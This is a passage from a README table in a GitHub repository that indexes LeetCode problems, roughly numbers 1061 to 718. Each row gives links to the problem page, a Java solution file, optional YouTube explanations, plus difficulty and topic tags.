Array, Hash Function | | 1061 |[Lexicographically Smallest Equivalent String](https://leetcode.com/problems/lexicographically-smallest-equivalent-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1061.java) | [:tv:](https://youtu.be/HvCaMw58_94) | Medium | Union Find | 1057 |[Campus Bikes](https://leetcode.com/problems/campus-bikes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1057.java) | | Medium ||Greedy, Sort | 1056 |[Confusing Number](https://leetcode.com/problems/confusing-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1056.java) | | Easy || | 1055 |[Fixed Point](https://leetcode.com/problems/fixed-point/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1055.java) | | Easy || | 1051 |[Height Checker](https://leetcode.com/problems/height-checker/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1051.java) | | Easy || | 1047 |[Remove All Adjacent Duplicates In String](https://leetcode.com/problems/remove-all-adjacent-duplicates-in-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1047.java) | | Easy || | 1046 |[Last Stone Weight](https://leetcode.com/problems/last-stone-weight/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1046.java) | [:tv:](https://youtu.be/IfElFyaEV8s) | Easy || | 1043 |[Partition Array for Maximum Sum](https://leetcode.com/problems/partition-array-for-maximum-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1043.java) | | Medium | DP | | 1038 |[Binary Search Tree to Greater Sum Tree](https://leetcode.com/problems/binary-search-tree-to-greater-sum-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1038.java) | | Medium | DFS, tree | | 1037 |[Valid Boomerang](https://leetcode.com/problems/valid-boomerang/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1037.java) | | Easy | Math | | 1033 |[Moving Stones Until Consecutive](https://leetcode.com/problems/moving-stones-until-consecutive/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1033.java) | | Easy | Math | | 1030 |[Matrix Cells in Distance Order](https://leetcode.com/problems/matrix-cells-in-distance-order/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1030.java) | | Easy | | 1029 |[Two City Scheduling](https://leetcode.com/problems/two-city-scheduling/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1029.java) | | Easy | | 1026 |[Maximum Difference Between Node and Ancestor](https://leetcode.com/problems/maximum-difference-between-node-and-ancestor/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1026.java) | | Medium | Tree, DFS, Binary Tree | | 1025 |[Divisor Game](https://leetcode.com/problems/divisor-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1025.java) | | Easy | Math, DP, Brainteaser, Game Theory | | 1024 |[Video Stitching](https://leetcode.com/problems/video-stitching/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1024.java) | | Medium | Array, DP, Greedy | | 1022 |[Sum of Root To Leaf Binary Numbers](https://leetcode.com/problems/sum-of-root-to-leaf-binary-numbers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1022.java) | | Easy | | 1021 |[Remove Outermost Parentheses](https://leetcode.com/problems/remove-outermost-parentheses/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1021.java) | | Easy | | 1020 |[Number of Enclaves](https://leetcode.com/problems/number-of-enclaves/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1020.java) | | Medium | Graph, DFS, BFS, recursion | | 1019 |[Next Greater Node In Linked List](https://leetcode.com/problems/next-greater-node-in-linked-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1019.java) | | Medium | Linked List, Stack | | 1018 |[Binary Prefix Divisible By 5](https://leetcode.com/problems/binary-prefix-divisible-by-5/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1018.java) | | Easy | | 1014 |[Best Sightseeing Pair](https://leetcode.com/problems/best-sightseeing-pair/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1014.java) | | Medium | | 1013 |[Partition Array Into Three Parts With Equal Sum](https://leetcode.com/problems/partition-array-into-three-parts-with-equal-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1013.java) | | Easy | | 1011 |[Capacity To Ship Packages Within D Days](https://leetcode.com/problems/capacity-to-ship-packages-within-d-days/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1011.java) | | Medium | Binary Search | | 1010 |[Pairs of Songs With Total Durations Divisible by 60](https://leetcode.com/problems/pairs-of-songs-with-total-durations-divisible-by-60/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1010.java) | | Easy | | 1009 |[Complement of Base 10 Integer](https://leetcode.com/problems/complement-of-base-10-integer/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1009.java) | | Easy | | 1008 |[Construct Binary Search Tree from Preorder Traversal](https://leetcode.com/problems/construct-binary-search-tree-from-preorder-traversal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1008.java) | | Medium | Recursion | 1005 |[Maximize Sum Of Array After K Negations](https://leetcode.com/problems/maximize-sum-of-array-after-k-negations/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1005.java) | [:tv:](https://youtu.be/spiwTAuz1_4) | Easy | | 1004 |[Max Consecutive Ones III](https://leetcode.com/problems/max-consecutive-ones-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1004.java) | [:tv:](https://youtu.be/nKhteIRZ2Ok) | Medium | Two Pointers, Sliding Window | 1003 |[Check If Word Is Valid After Substitutions](https://leetcode.com/problems/check-if-word-is-valid-after-substitutions/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1003.java) | | Medium | | 1002 |[Find Common Characters](https://leetcode.com/problems/find-common-characters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1002.java) | | Easy | | 999 |[Available Captures for Rook](https://leetcode.com/problems/available-captures-for-rook/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_999.java) | | Easy | | 991 |[Broken Calculator](https://leetcode.com/problems/broken-calculator/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_991.java) | | Medium | Math, Greedy | 981 |[Time Based Key-Value Store](https://leetcode.com/problems/time-based-key-value-store/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_981.java) | [:tv:](https://youtu.be/eVi4gDimCoo) | Medium | | 997 |[Find the Town Judge](https://leetcode.com/problems/find-the-town-judge/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_997.java) | | Easy | | 994 |[Rotting Oranges](https://leetcode.com/problems/rotting-oranges/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_994.java) | | Medium | BFS | 993 |[Cousins in Binary Tree](https://leetcode.com/problems/cousins-in-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_993.java) | | Easy | Tree, BFS | 989 |[Add to Array-Form of Integer](https://leetcode.com/problems/add-to-array-form-of-integer/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_989.java) | | Easy | Array | 988 |[Smallest String Starting From Leaf](https://leetcode.com/problems/smallest-string-starting-from-leaf/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_988.java) | | Medium | Tree, DFS | 987 |[Vertical Order Traversal of a Binary Tree](https://leetcode.com/problems/vertical-order-traversal-of-a-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_987.java) | | Medium | Recursion | 986 |[Interval List Intersections](https://leetcode.com/problems/interval-list-intersections/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_986.java) | | Medium | Two Pointers | 985 |[Sum of Even Numbers After Queries](https://leetcode.com/problems/sum-of-even-numbers-after-queries/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_985.java) | | Easy | Array | 980 |[Unique Paths III](https://leetcode.com/problems/unique-paths-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_980.java) | | Hard | Backtracking, DFS | 979 |[Distribute Coins in Binary Tree](https://leetcode.com/problems/distribute-coins-in-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_979.java) | | Medium | Recursion | 977 |[Squares of a Sorted Array](https://leetcode.com/problems/squares-of-a-sorted-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_977.java) | | Easy | Array | 976 |[Largest Perimeter Triangle](https://leetcode.com/problems/largest-perimeter-triangle/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_976.java) | | Easy | Math Array | 974 |[Subarray Sums Divisible by K](https://leetcode.com/problems/subarray-sums-divisible-by-k/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_974.java) | | Medium | Array | | 973 |[K Closest Points to Origin](https://leetcode.com/problems/k-closest-points-to-origin/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_973.java) | | Easy | Math Sort | | 970 |[Powerful Integers](https://leetcode.com/problems/powerful-integers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_970.java) | | Easy | Math | 966 |[Vowel Spellchecker](https://leetcode.com/problems/vowel-spellchecker/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_966.java) | | Medium | Hash Table, String | 965 |[Univalued Binary Tree](https://leetcode.com/problems/univalued-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_965.java) | | Easy | DFS, recursion | | 961 |[N-Repeated Element in Size 2N Array](https://leetcode.com/problems/n-repeated-element-in-size-2n-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_961.java) | | Easy | | 958 |[Check Completeness of a Binary Tree](https://leetcode.com/problems/check-completeness-of-a-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_958.java) | | Medium | Tree | 957 |[Prison Cells After N Days](https://leetcode.com/problems/prison-cells-after-n-days/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_957.java) | [:tv:](https://youtu.be/mQQp6I985bw) | Medium | | 954 |[Array of Doubled Pairs](https://leetcode.com/problems/array-of-doubled-pairs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_954.java) | [:tv:](https://youtu.be/Q0WKzdpR74o) | Medium | | 953 |[Verifying an Alien Dictionary](https://leetcode.com/problems/verifying-an-alien-dictionary/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_953.java) | | Easy | | 951 |[Flip Equivalent Binary Trees](https://leetcode.com/problems/flip-equivalent-binary-trees/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_951.java) | | Medium | Tree, DFS, recursion | | 950 |[Reveal Cards In Increasing Order](https://leetcode.com/problems/reveal-cards-in-increasing-order/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_950.java) | | Medium | | 946 |[Validate Stack Sequences](https://leetcode.com/problems/validate-stack-sequences/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_946.java) | | Medium | Stack | 944 |[Delete Columns to Make Sorted](https://leetcode.com/problems/delete-columns-to-make-sorted/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_944.java) | | Easy | | 942 |[DI String Match](https://leetcode.com/problems/di-string-match/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_942.java) | | Easy | | 941 |[Valid Mountain Array](https://leetcode.com/problems/valid-mountain-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_941.java) | | Easy | | 938 |[Range Sum of BST](https://leetcode.com/problems/range-sum-of-bst/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_938.java) | | Medium | BST, recursion, DFS | 937 |[Reorder Log Files](https://leetcode.com/problems/reorder-log-files/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_937.java) | | Easy | | 936 |[Stamping The Sequence](https://leetcode.com/problems/stamping-the-sequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_936.java) | | Hard | String, Greedy | 935 |[Knight Dialer](https://leetcode.com/problems/knight-dialer/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_935.java) | | Medium | | 933 |[Number of Recent Calls](https://leetcode.com/problems/number-of-recent-calls/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_933.java) | | Easy | | 931 |[Minimum Falling Path Sum](https://leetcode.com/problems/minimum-falling-path-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_931.java) | | Medium | Dynamic Programming | 929 |[Unique Email Addresses](https://leetcode.com/problems/unique-email-addresses/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_929.java) | | Easy | | 925 |[Long Pressed Name](https://leetcode.com/problems/long-pressed-name/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_925.java) | | Easy | | 923 |[3Sum With Multiplicity](https://leetcode.com/problems/3sum-with-multiplicity/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_923.java) | | Medium | Two Pointers | 922 |[Sort Array By Parity II](https://leetcode.com/problems/sort-array-by-parity-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_922.java) | | Easy | | 921 |[Minimum Add to Make Parentheses Valid](https://leetcode.com/problems/minimum-add-to-make-parentheses-valid/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_921.java) | | Medium | Stack, Greedy | 918 |[Maximum Sum Circular Subarray](https://leetcode.com/problems/maximum-sum-circular-subarray/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_918.java) | | Medium | Array, DP, Monotonic Queue | 917 |[Reverse Only Letters](https://leetcode.com/problems/reverse-only-letters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_917.java) | | Easy | | 914 |[X of a Kind in a Deck of Cards](https://leetcode.com/problems/x-of-a-kind-in-a-deck-of-cards/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_914.java) | | Easy | | 912 |[Sort an Array](https://leetcode.com/problems/sort-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_912.java) | | Easy | | 908 |[Smallest Range I](https://leetcode.com/problems/smallest-range-i/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_908.java) | | Easy | | 901 |[Online Stock Span](https://leetcode.com/problems/online-stock-span/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_901.java) | | Medium | Stack | 904 |[Fruit Into Baskets](https://leetcode.com/problems/fruit-into-baskets/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_904.java) | [:tv:](https://youtu.be/GVecnelW8mA) | Medium | Two Pointers | 900 |[RLE Iterator](https://leetcode.com/problems/rle-iterator/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_900.java) | | Medium | | 897 |[Increasing Order Search Tree](https://leetcode.com/problems/increasing-order-search-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_897.java) | | Easy | DFS, recursion | 896 |[Monotonic Array](https://leetcode.com/problems/monotonic-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_896.java) | | Easy | | 895 |[Maximum Frequency Stack](https://leetcode.com/problems/maximum-frequency-stack/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_895.java) | HashTable, Stack | Hard | | 893 |[Groups of Special-Equivalent Strings](https://leetcode.com/problems/groups-of-special-equivalent-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_893.java) | [:tv:](https://youtu.be/tbtXPKkA2Zw) | Easy | | 892 |[Surface Area of 3D Shapes](https://leetcode.com/problems/surface-area-of-3d-shapes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_892.java) | Array, Math, Geometry, Matrix | Easy | | 890 |[Find and Replace Pattern](https://leetcode.com/problems/find-and-replace-pattern/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_890.java) | | Medium | | 888 |[Fair Candy Swap](https://leetcode.com/problems/fair-candy-swap/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_888.java) | | Easy | | 885 |[Spiral Matrix III](https://leetcode.com/problems/spiral-matrix-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_885.java) | [:tv:](https://www.youtube.com/watch?v=0qep3f9cqVs) | Medium | | 884 |[Uncommon Words from Two Sentences](https://leetcode.com/problems/uncommon-words-from-two-sentences/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_884.java) | | Easy | | 883 |[Projection Area of 3D Shapes](https://leetcode.com/problems/projection-area-of-3d-shapes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_883.java) | | Easy | Math | 881 |[Boats to Save People](https://leetcode.com/problems/boats-to-save-people/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_881.java) | | Medium | Two Pointers, Greedy | 880 |[Decoded String at Index](https://leetcode.com/problems/decoded-string-at-index/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_880.java) | | Medium | Stack | 877 |[Stone Game](https://leetcode.com/problems/stone-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_877.java) | | Medium | Math, DP, Minimax | 876 |[Middle of the Linked List](https://leetcode.com/problems/middle-of-the-linked-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_876.java) | | Easy | | 872 |[Leaf-Similar Trees](https://leetcode.com/problems/leaf-similar-trees/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_872.java) | | Easy | DFS, recursion | 870 |[Advantage Shuffle](https://leetcode.com/problems/advantage-shuffle/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_870.java) | | Medium | Array, Greedy | 868 |[Binary Gap](https://leetcode.com/problems/binary-gap/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_868.java) | | Easy | | 867 |[Transpose Matrix](https://leetcode.com/problems/transpose-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_867.java) | | Easy | | 861 |[Score After Flipping Matrix](https://leetcode.com/problems/score-after-flipping-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_861.java) | | Medium | Greedy | 860 |[Lemonade Change](https://leetcode.com/problems/lemonade-change/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_860.java) | | Easy | | 859 |[Buddy Strings](https://leetcode.com/problems/buddy-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_859.java) | | Easy | | 856 |[Score of Parentheses](https://leetcode.com/problems/score-of-parentheses/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_856.java) | | Medium | Stack, String | 852 |[Peak Index in a Mountain Array](https://leetcode.com/problems/peak-index-in-a-mountain-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_852.java) | | Easy | | 849 |[Maximize Distance to Closest Person](https://leetcode.com/problems/maximize-distance-to-closest-person/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_849.java) | | Easy | | 848 |[Shifting Letters](https://leetcode.com/problems/shifting-letters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_848.java) | | Medium | Array, String | 844 |[Backspace String Compare](https://leetcode.com/problems/backspace-string-compare/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_844.java) | | Easy | | 841 |[Keys and Rooms](https://leetcode.com/problems/keys-and-rooms/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_841.java) | | Easy | DFS, Graph | 840 |[Magic Squares In Grid](https://leetcode.com/problems/magic-squares-in-grid/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_840.java) | | Easy | | 838 |[Push Dominoes](https://leetcode.com/problems/push-dominoes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_838.java) | [:tv:](https://youtu.be/0_XmKkgHSdI) | Medium | Two Pointers, DP | 836 |[Rectangle Overlap](https://leetcode.com/problems/rectangle-overlap/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_836.java) | [:tv:](https://youtu.be/o6hHUk4DOW0) | Easy | | 832 |[Flipping an Image](https://leetcode.com/problems/flipping-an-image/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_832.java) | | Easy | | 830 |[Positions of Large Groups](https://leetcode.com/problems/positions-of-large-groups/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_830.java) | | Easy | | 824 |[Goat Latin](https://leetcode.com/problems/goat-latin/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_824.java) | | Easy | | 823 |[Binary Trees With Factors](https://leetcode.com/problems/binary-trees-with-factors/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_823.java) | | Medium | | 821 |[Shortest Distance to a Character](https://leetcode.com/problems/shortest-distance-to-a-character/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_821.java) | | Easy | | 820 |[Short Encoding of Words](https://leetcode.com/problems/short-encoding-of-words/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_820.java) | | Medium | | 819 |[Most Common Word](https://leetcode.com/problems/most-common-word/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_819.java) | | Easy | HashMap | 816 |[Ambiguous Coordinates](https://leetcode.com/problems/ambiguous-coordinates/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_816.java) | | Medium | String | 814 |[Binary Tree Pruning](https://leetcode.com/problems/binary-tree-pruning/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_814.java) | | Medium | recursion, DFS | 812 |[Largest Triangle Area](https://leetcode.com/problems/largest-triangle-area/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_812.java) | | Easy | Array, Math, Geometry | 811 |[Subdomain Visit Count](https://leetcode.com/problems/subdomain-visit-count/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_811.java) | | Easy | HashMap | 809 |[Expressive Words](https://leetcode.com/problems/expressive-words/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_809.java) | | Medium | | 807 |[Max Increase to Keep City Skyline](https://leetcode.com/problems/max-increase-to-keep-city-skyline/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_807.java) | | Medium | | 806 |[Number of Lines To Write String](https://leetcode.com/problems/number-of-lines-to-write-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_806.java) | | Easy | | 804 |[Unique Morse Code Words](https://leetcode.com/problems/unique-morse-code-words/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_804.java) | | Easy | | 800 |[Similar RGB Color](https://leetcode.com/problems/similar-rgb-color/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_800.java) | | Easy | | 799 |[Champagne Tower](https://leetcode.com/problems/champagne-tower/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_799.java) | | Medium | | 796 |[Rotate String](https://leetcode.com/problems/rotate-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_796.java) | | Easy | | 792 |[Number of Matching Subsequences](https://leetcode.com/problems/number-of-matching-subsequences/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_792.java) | | Medium | HashTable, String, Trie, Sorting | 791 |[Custom Sort String](https://leetcode.com/problems/custom-sort-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_791.java) | | Medium | | 789 |[Escape The Ghosts](https://leetcode.com/problems/escape-the-ghosts/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_789.java) | | Medium | Math | | 788 |[Rotated Digits](https://leetcode.com/problems/rotated-digits/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_788.java) | | Easy | | 785 |[Is Graph Bipartite?](https://leetcode.com/problems/is-graph-bipartite/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_785.java) | | Medium | | 784 |[Letter Case Permutation](https://leetcode.com/problems/letter-case-permutation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_784.java) | | Easy | | 783 |[Minimum Distance Between BST Nodes](https://leetcode.com/problems/minimum-distance-between-bst-nodes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_783.java) | | Easy | | 781 |[Rabbits in Forest](https://leetcode.com/problems/rabbits-in-forest/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_781.java) | [:tv:](https://youtu.be/leiSa1i-QrI) | Medium | HashTable, Math | 779 |[K-th Symbol in Grammar](https://leetcode.com/problems/k-th-symbol-in-grammar/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_779.java) | | Medium | | 776 |[Split BST](https://leetcode.com/problems/split-bst/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_776.java) | | Medium | Recursion | 775 |[Global and Local Inversions](https://leetcode.com/problems/global-and-local-inversions/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_775.java) | | Medium | Array, Math | 771 |[Jewels and Stones](https://leetcode.com/problems/jewels-and-stones/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_771.java) | | Easy | | 769 |[Max Chunks To Make Sorted](https://leetcode.com/problems/max-chunks-to-make-sorted/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_769.java) | | Medium | Array | 767 |[Reorganize String](https://leetcode.com/problems/reorganize-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_767.java) | | Medium | | 766 |[Toeplitz Matrix](https://leetcode.com/problems/toeplitz-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_766.java) | | Easy | | 765 |[Couples Holding Hands](https://leetcode.com/problems/couples-holding-hands/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_765.java) | | Hard | | 764 |[Largest Plus Sign](https://leetcode.com/problems/largest-plus-sign/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_764.java) | | Medium | DP | 763 |[Partition Labels](https://leetcode.com/problems/partition-labels/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_763.java) | | Medium | | 762 |[Prime Number of Set Bits in Binary Representation](https://leetcode.com/problems/prime-number-of-set-bits-in-binary-representation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_762.java) | | Easy | | 760 |[Find Anagram Mappings](https://leetcode.com/problems/find-anagram-mappings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_760.java) | | Easy | | 758 |[Bold Words in String](https://leetcode.com/problems/bold-words-in-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_758.java) | | Easy | | 757 |[Set Intersection Size At Least Two](https://leetcode.com/problems/set-intersection-size-at-least-two/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_757.java) | | Hard | | 756 |[Pyramid Transition Matrix](https://leetcode.com/problems/pyramid-transition-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_756.java) | | Medium | Backtracking | 755 |[Pour Water](https://leetcode.com/problems/pour-water/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_755.java) || Medium | Array | 754 |[Reach a Number](https://leetcode.com/problems/reach-a-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_754.java) || Medium | Math | 750 |[Number Of Corner Rectangles](https://leetcode.com/problems/number-of-corner-rectangles/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_750.java) | | Medium | | 748 |[Shortest Completing Word](https://leetcode.com/problems/shortest-completing-word/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_748.java) | | Easy | | 747 |[Largest Number Greater Than Twice of Others](https://leetcode.com/problems/largest-number-greater-than-twice-of-others/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_747.java) | | Easy | | 746 |[Min Cost Climbing Stairs](https://leetcode.com/problems/min-cost-climbing-stairs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_746.java) | | Easy | | 744 |[Find Smallest Letter Greater Than Target](https://leetcode.com/problems/find-smallest-letter-greater-than-target/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_744.java) | | Easy | | 743 |[Network Delay Time](https://leetcode.com/problems/network-delay-time/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_743.java) || Medium | Graph, Djikstra | | 742 |[Closest Leaf in a Binary Tree](https://leetcode.com/problems/closest-leaf-in-a-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_742.java) | | Medium | Tree | 740 |[Delete and Earn](https://leetcode.com/problems/delete-and-earn/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_740.java) | | Medium | | 739 |[Daily Temperatures](https://leetcode.com/problems/daily-temperatures/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_739.java) | | Medium | | 738 |[Monotone Increasing Digits](https://leetcode.com/problems/monotone-increasing-digits/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_738.java) | | Medium | | 737 |[Sentence Similarity II](https://leetcode.com/problems/sentence-similarity-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_737.java) | | Medium | Union Find | 735 |[Asteroid Collision](https://leetcode.com/problems/asteroid-collision/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_735.java) | | Medium | Stack | 734 |[Sentence Similarity](https://leetcode.com/problems/sentence-similarity/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_734.java) | | Easy | HashTable | 733 |[Flood Fill](https://leetcode.com/problem**__**s/flood-fill/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_733.java) | | Easy | BFS, DFS | 729 |[My Calendar I](https://leetcode.com/problems/my-calendar-i/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_729.java) || Medium | | 728 |[Self Dividing Numbers](https://leetcode.com/problems/self-dividing-numbers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_728.java) | | Easy | | 727 |[Minimum Window Subsequence](https://leetcode.com/problems/minimum-window-subsequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_727.java) | | Hard | DP | 725 |[Split Linked List in Parts](https://leetcode.com/problems/split-linked-list-in-parts/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_725.java) | | Medium | LinkedList | 724 |[Find Pivot Index](https://leetcode.com/problems/find-pivot-index/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_724.java) | | Easy | Array | 723 |[Candy Crush](https://leetcode.com/problems/candy-crush/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_723.java) | | Medium | Array, Two Pointers | 721 |[Accounts Merge](https://leetcode.com/problems/accounts-merge/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_721.java) | | Medium | DFS, Union Find | 720 |[Longest Word in Dictionary](https://leetcode.com/problems/longest-word-in-dictionary/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_720.java) | | Easy | Trie | 719 |[Find K-th Smallest Pair Distance](https://leetcode.com/problems/find-k-th-smallest-pair-distance/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_719.java) | | Hard | Binary Search | 718 |[Maximum Length of Repeated 